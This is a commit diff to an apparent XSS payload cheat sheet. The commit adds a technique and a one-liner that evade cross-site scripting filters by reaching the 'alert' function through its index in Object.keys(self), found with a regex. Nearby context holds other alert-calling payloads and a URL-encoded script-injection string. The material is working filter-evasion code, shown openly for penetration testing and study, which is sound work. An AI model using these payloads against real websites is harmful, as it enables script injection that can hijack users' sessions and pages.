Bypass XSS filters on alert
Bypass XSS filters using javascript global variables based on the following article https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/ from theMiddle.patch-1
parent
e92126a16c
commit
286f7caaa3
|
@ -679,6 +679,38 @@ content['alert'](6)
|
||||||
[12].forEach(alert);
|
[12].forEach(alert);
|
||||||
```
|
```
|
||||||
|
|
||||||
|
From [@theMiddle](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/) - Using global variables
|
||||||
|
|
||||||
|
The Object.keys() method returns an array of a given object's own property names, in the same order as we get with a normal loop. That's means that we can access any JavaScript function by using its **index number instead the function name**.
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
|
||||||
|
// 5
|
||||||
|
```
|
||||||
|
|
||||||
|
Then calling alert is :
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
Object.keys(self)[5]
|
||||||
|
// "alert"
|
||||||
|
self[Object.keys(self)[5]]("1") // alert("1")
|
||||||
|
```
|
||||||
|
|
||||||
|
We can find "alert" with a regular expression like ^a[rel]+t$ :
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a()
|
||||||
|
|
||||||
|
// then you can use a() with Object.keys
|
||||||
|
|
||||||
|
self[Object.keys(self)[a()]]("1") // alert("1")
|
||||||
|
```
|
||||||
|
|
||||||
|
Oneliner:
|
||||||
|
```javascript
|
||||||
|
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")
|
||||||
|
```
|
||||||
|
|
||||||
From [@quanyang](https://twitter.com/quanyang/status/1078536601184030721) tweet.
|
From [@quanyang](https://twitter.com/quanyang/status/1078536601184030721) tweet.
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -1075,4 +1107,4 @@ anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxld
|
||||||
- [Stored XSS, and SSRF in Google using the Dataset Publishing Language](https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html)
|
- [Stored XSS, and SSRF in Google using the Dataset Publishing Language](https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html)
|
||||||
- [Stored XSS on Snapchat](https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd)
|
- [Stored XSS on Snapchat](https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd)
|
||||||
- [XSS cheat sheet - PortSwigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
- [XSS cheat sheet - PortSwigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||||
- [mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations - Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Z. Yang](https://cure53.de/fp170.pdf)
|
- [mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations - Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Z. Yang](https://cure53.de/fp170.pdf)
|
||||||
|
|
Loading…
Reference in New Issue